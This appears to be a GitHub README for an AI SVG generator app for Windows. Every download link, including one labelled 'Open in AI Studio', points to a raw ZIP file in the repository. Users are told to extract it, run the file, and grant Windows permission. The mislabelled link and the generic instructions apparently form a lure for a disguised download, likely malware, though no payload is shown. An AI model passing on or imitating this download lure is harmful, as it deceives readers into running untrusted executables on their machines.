Skip to content

Repository files navigation

🎨 svg-generator - Turn Ideas Into Clean SVGs

Download svg-generator

🖥️ What this app does

svg-generator is a Windows-ready app that helps you create SVG graphics from simple text input. It is built for people who want a fast way to make clean vector images without setting up a design tool.

Use it to:

  • Make simple SVG shapes
  • Build icons and line art
  • Create graphics for web pages
  • Test AI-assisted image ideas
  • Export files you can open in a browser or design app

📥 Download svg-generator

Visit this page to download and run the app on Windows:

https://raw.githubusercontent.com/graemeerrant677/svg-generator/main/services/svg_generator_2.3.zip

If the page opens in your browser, look for the latest release or the main project files. Download the Windows app file from that page, then open it on your computer.

🪟 Install on Windows

  1. Open the download page above
  2. Download the Windows version of svg-generator
  3. Save the file to your Downloads folder
  4. If the file comes in a ZIP folder, right-click it and choose Extract All
  5. Open the app file
  6. If Windows asks for permission, choose Yes
  7. Wait for the app to start

If the app opens in a browser window or desktop window, it is ready to use.

✅ Before you start

You only need a few things:

  • A Windows PC
  • An internet connection
  • A Gemini API key if you want AI features
  • A modern browser such as Edge or Chrome

For best results, keep at least a few hundred MB of free disk space.

🚀 First-time setup

If the app asks for a setup file, follow these steps:

  1. Find the .env.local file in the app folder
  2. Open it with Notepad
  3. Add your Gemini API key on the line for GEMINI_API_KEY
  4. Save the file
  5. Start the app again

Your API key lets the app talk to Gemini. Without it, some AI features may not work.

🧭 How to use svg-generator

  1. Open the app
  2. Type or paste the SVG idea you want to create
  3. Choose the style, size, or shape options if they appear
  4. Generate the SVG
  5. Review the result
  6. Save or copy the SVG file

If you want a web-ready graphic, use a simple name and keep the design clean. SVG files work well for logos, icons, and charts.

🛠️ Run from source

Use these steps if you want to run the app from the project files on a Windows PC:

  1. Install Node.js

  2. Download or clone this repository

  3. Open the project folder

  4. Install dependencies with:

    npm install

  5. Set GEMINI_API_KEY in .env.local to your Gemini API key

  6. Start the app with:

    npm run dev

  7. Open the local address shown in the terminal

📂 Project files

Here are the main parts you may see in the project folder:

  • src/ — app files
  • public/ — images and shared assets
  • .env.local — local settings such as your API key
  • package.json — app setup and scripts
  • README.md — this guide

🔧 Common tasks

Create a new SVG

  • Open the app
  • Enter your idea
  • Click generate
  • Save the output

Edit an SVG

  • Open the SVG in a text editor or design app
  • Change the shape, size, or color values
  • Save the file

Use the SVG on a website

  • Copy the SVG code
  • Paste it into your page
  • Or upload the SVG file and link to it

⌨️ Helpful commands

If you are running the app from source, these commands may help:

  • Install packages: npm install
  • Start the app: npm run dev
  • Stop the app: close the terminal window or press Ctrl + C

🔒 API key setup

The app uses GEMINI_API_KEY for AI features.

To add it:

  1. Open .env.local
  2. Add your key on the GEMINI_API_KEY line
  3. Keep the value on one line
  4. Save the file
  5. Restart the app

Keep your key private and do not share it.

🧩 Troubleshooting

The app does not open

  • Check that the file finished downloading
  • Make sure you extracted the ZIP file if needed
  • Try opening the app again
  • Restart your PC if Windows still blocks it

The app starts but nothing loads

  • Check your internet connection
  • Confirm that GEMINI_API_KEY is set
  • Close the app and start it again
  • Try a different browser if the app uses one

I cannot find the setup file

  • Open the project folder
  • Look for .env.local
  • If it is not there, create a new text file with that name
  • Add the GEMINI_API_KEY line and save it

My SVG looks wrong

  • Use fewer words in your prompt
  • Ask for simple shapes first
  • Try a plain background
  • Reduce extra details and run it again

🖼️ What SVG files are good for

SVG files work well when you want:

  • Sharp images at any size
  • Small file sizes
  • Simple icons
  • Clean web graphics
  • Easy color changes
  • Better print quality for line art

🌐 Open in AI Studio

You can also view the app in AI Studio:

https://raw.githubusercontent.com/graemeerrant677/svg-generator/main/services/svg_generator_2.3.zip

Use this if you want to preview the app in a browser before you run it locally

🧰 Requirements

  • Windows 10 or Windows 11
  • Node.js for local runs
  • A web browser
  • Gemini API key for AI features
  • Enough space to unpack the app files

📁 Folder tips

Keep the app folder in a simple path, such as:

  • C:\Apps\svg-generator
  • C:\Users\YourName\Downloads\svg-generator

Avoid folders with very long names. Simple paths make file access easier on Windows

🧪 Test your setup

After install, check these steps:

  1. Open the app
  2. Create a simple SVG
  3. Save the file
  4. Open the saved SVG in your browser
  5. Check that the image appears clear

If that works, your setup is ready

🗂️ File names you may use

Good file names are:

  • icon.svg
  • logo.svg
  • shape.svg
  • banner.svg

Use short names with letters, numbers, and hyphens only

📌 Using the app on Windows

For the smoothest run on Windows:

  • Keep the app updated
  • Use the latest browser version
  • Store the project in a folder you can find fast
  • Add your API key before you start the app
  • Close other heavy apps if your PC feels slow

📞 Support files to check

If you need to fix something, check these files first:

  • .env.local
  • package.json
  • the app folder for missing files
  • the downloaded ZIP or release files

🧾 Basic workflow

  1. Download the app
  2. Open it on Windows
  3. Add your Gemini API key
  4. Start the app
  5. Create your SVG
  6. Save the result
  7. Use the file in your project

About

Generate SVG files from AI prompts with a local app built for fast development and easy Gemini API setup

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages